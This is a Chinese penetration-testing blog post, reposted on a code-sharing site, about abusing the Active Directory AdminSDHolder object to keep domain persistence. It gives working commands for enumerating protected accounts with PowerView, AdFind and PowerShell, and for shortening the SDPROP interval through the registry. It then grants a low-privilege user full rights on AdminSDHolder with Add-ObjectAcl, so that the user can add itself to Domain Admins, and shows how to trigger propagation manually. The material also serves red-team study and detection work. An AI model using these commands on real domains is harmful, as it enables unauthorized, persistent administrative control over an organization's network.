ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

域渗透中的AdminSDHolder

2021-01-15 15:32:11  阅读:323  来源: 互联网

标签:ad 渗透 acl 60 保护 AdminSDHolder CN


简介

AdminSDHolder是一个特殊的ad容器,具备一些默认安全权限,用于受保护的ad账户和组的模板

active directory将采用AdminSDHolder对象的acl并定期将其应用于所有受保护的ad账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的

如果能够修改AdminSDHolder对象的acl,那么修改的权限将自动应用于所有受保护的ad账户和组,能够进一步进行域环境的权限维持

相应dn信息如下:
CN=AdminSDHolder,CN=System,DC=rootkit,DC=org

实际使用

基本思路

枚举受保护的ad账户和组中信息
查找有价值的,排除曾经属于受保护的ad账户和组

添加用户对AdminSDHolder的完全访问权限,默认等待60分钟,可以通过注册表进行修改,如下为修改60秒
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

枚举受保护的ad账户和组中信息

在server2000中引入,默认包含如下的组:
Administrators
Domain Admins
Account Operators
Backup Operators
Domain Controllers
Enterprise Admins
Print Operators
Replicator
Read-only Domain Controllers
Schema Admins
Server Operators

其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限

受保护的ad账户和组的具备admincount属性值为1的特征,但是admincount为1并不能保证现在也是受保护ad账户和组,因为从受保护的组中删除后,用户自己的admincount属性的值其实也不会改变

powerview

下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

查询ad保护的域中所有的用户
Get-NetUser -AdminCount

只筛选出用户名
Get-NetUser -AdminCount |select samaccountname

查询域中受ad保护的所有组
Get-netgroup -AdminCount

adfind

查询ad保护的域中所有的用户
adfind.exe -b dc=rootkit,dc=org  -f "&(objectCategory=Person)(admincount=1)" -dn

objectCategory=Person是因为域用户的objectCategory属性都为Person

查询ad保护的域中的所有的组
adfind.exe -b dc=rootkit,dc=org  -f "&(objectCategory=group)(admincount=1)" -dn

ActiveDirectory

查询ad保护的域中所有的用户和组
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name

操作AdminSDHolder对象的ACL

查看

powerview查询AdminSDHolder的acl
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference

增加

增加AdminSDHolder的acl,添加yangy用户的完全访问权限,默认等待60分钟后将会获得受保护的ad账户和组的完全访问控制权限
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName yangy -Verbose -Rights All

验证

powerview查询确认添加成功

确认具备完全控制权限

能够实现什么?如下,确认当前为domain user,能够将自己加入到domain admins

删除

删除先前添加的acl
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org” -PrincipalIdentity  yangy -Rights All -Verbose

补充SDPROP

为了将可继承ace的更改传播到后代对象,域控将运行一个称为安全描述符传播其SDPROP的后台任务,通过修改对象的安全描述符或移动对象时将触发此任务

修改

已知修改了AdminSDHolder的acl后默认将等待60分钟生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记acl

先前已知的设置一分钟命令如下,范围在一分钟至一百二十分钟
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

大型域环境不建议修改,当时间变短时候CPU处理LSASS的开销就会变大,容易导致系统出现卡顿

手动运行

进入ldp.exe

如下进行连接

连接处绑定为当前登录用户并点击确定

进入修改

浏览中进入修改,属性填写FixUpInheritance、值填写Yes,点击输入,点击运行

最终效果如下

标签:ad,渗透,acl,60,保护,AdminSDHolder,CN
来源: https://www.cnblogs.com/Yang34/p/14282328.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有